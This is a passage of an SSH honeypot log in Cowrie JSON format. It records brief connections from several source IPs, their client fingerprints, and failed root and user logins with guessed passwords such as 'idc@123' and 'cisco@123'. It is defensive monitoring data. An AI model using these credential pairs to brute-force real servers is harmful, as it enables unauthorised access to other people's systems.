{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:40:30.107157Z","src_ip":"144.91.86.102","session":"d5193d199f9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rp","message":"login attempt [root/rp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:40:30.511510Z","src_ip":"144.91.86.102","session":"d5193d199f9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:40:31.607324Z","src_ip":"144.91.86.102","session":"d5193d199f9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.218.118.203","src_port":60282,"dst_ip":"10.17.0.5","dst_port":22,"session":"4375f0bb5507","protocol":"ssh","message":"New connection: 18.218.118.203:60282 (10.17.0.5:22) [session: 4375f0bb5507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:40:33.458490Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:40:33.463264Z","src_ip":"18.218.118.203","session":"4375f0bb5507","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:40:33.467362Z","src_ip":"18.218.118.203","session":"4375f0bb5507","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":53906,"dst_ip":"159.203.135.109","dst_port":22,"session":"b975b2b5315f","protocol":"ssh","message":"New connection: 138.99.80.102:53906 (159.203.135.109:22) [session: b975b2b5315f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:40:49.817312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:40:49.822177Z","src_ip":"138.99.80.102","session":"b975b2b5315f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:40:49.930405Z","src_ip":"138.99.80.102","session":"b975b2b5315f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testuser11","message":"login attempt [root/testuser11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:40:50.394284Z","src_ip":"138.99.80.102","session":"b975b2b5315f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:40:51.505409Z","src_ip":"138.99.80.102","session":"b975b2b5315f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.95.194.51","src_port":60942,"dst_ip":"159.203.135.109","dst_port":22,"session":"69606244d7bc","protocol":"ssh","message":"New connection: 36.95.194.51:60942 (159.203.135.109:22) [session: 69606244d7bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:40:58.754555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:40:58.762053Z","src_ip":"36.95.194.51","session":"69606244d7bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:40:59.039395Z","src_ip":"36.95.194.51","session":"69606244d7bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx3edc","message":"login attempt [root/1qaz2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:41:00.176682Z","src_ip":"36.95.194.51","session":"69606244d7bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:41:01.462619Z","src_ip":"36.95.194.51","session":"69606244d7bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.165.56.242","src_port":53146,"dst_ip":"159.203.135.109","dst_port":22,"session":"46cbe9dd0c8d","protocol":"ssh","message":"New connection: 46.165.56.242:53146 (159.203.135.109:22) [session: 46cbe9dd0c8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:41:02.984806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:41:02.989421Z","src_ip":"46.165.56.242","session":"46cbe9dd0c8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:41:03.152438Z","src_ip":"46.165.56.242","session":"46cbe9dd0c8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:41:03.827820Z","src_ip":"46.165.56.242","session":"46cbe9dd0c8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:41:04.995920Z","src_ip":"46.165.56.242","session":"46cbe9dd0c8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.108.174.4","src_port":39440,"dst_ip":"159.203.135.109","dst_port":22,"session":"d859268b2d31","protocol":"ssh","message":"New connection: 200.108.174.4:39440 (159.203.135.109:22) [session: d859268b2d31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:41:54.896495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:41:54.902334Z","src_ip":"200.108.174.4","session":"d859268b2d31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:41:55.059365Z","src_ip":"200.108.174.4","session":"d859268b2d31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"idc@123","message":"login attempt [root/idc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:41:55.699723Z","src_ip":"200.108.174.4","session":"d859268b2d31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:41:56.855894Z","src_ip":"200.108.174.4","session":"d859268b2d31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.86.102","src_port":44656,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee53279ac10a","protocol":"ssh","message":"New connection: 144.91.86.102:44656 (10.17.0.5:22) [session: ee53279ac10a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:42:07.537304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:42:07.541309Z","src_ip":"144.91.86.102","session":"ee53279ac10a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:42:07.638207Z","src_ip":"144.91.86.102","session":"ee53279ac10a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wyr","message":"login attempt [root/wyr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:42:08.040347Z","src_ip":"144.91.86.102","session":"ee53279ac10a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:42:09.137346Z","src_ip":"144.91.86.102","session":"ee53279ac10a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.165.56.242","src_port":36010,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c35af605e85","protocol":"ssh","message":"New connection: 46.165.56.242:36010 (159.203.135.109:22) [session: 1c35af605e85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:42:17.976046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:42:17.981414Z","src_ip":"46.165.56.242","session":"1c35af605e85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:42:18.142112Z","src_ip":"46.165.56.242","session":"1c35af605e85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"csgosrv","message":"login attempt [root/csgosrv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:42:18.823293Z","src_ip":"46.165.56.242","session":"1c35af605e85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:42:20.409503Z","src_ip":"46.165.56.242","session":"1c35af605e85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":32990,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5798ffb8c04","protocol":"ssh","message":"New connection: 138.99.80.102:32990 (159.203.135.109:22) [session: a5798ffb8c04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:42:26.685563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:42:26.689916Z","src_ip":"138.99.80.102","session":"a5798ffb8c04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:42:26.798085Z","src_ip":"138.99.80.102","session":"a5798ffb8c04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cisco@123","message":"login attempt [root/cisco@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:42:27.262864Z","src_ip":"138.99.80.102","session":"a5798ffb8c04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:42:28.375870Z","src_ip":"138.99.80.102","session":"a5798ffb8c04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.95.194.51","src_port":41798,"dst_ip":"159.203.135.109","dst_port":22,"session":"e75585a0fba5","protocol":"ssh","message":"New connection: 36.95.194.51:41798 (159.203.135.109:22) [session: e75585a0fba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:42:32.475517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:42:32.479881Z","src_ip":"36.95.194.51","session":"e75585a0fba5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cb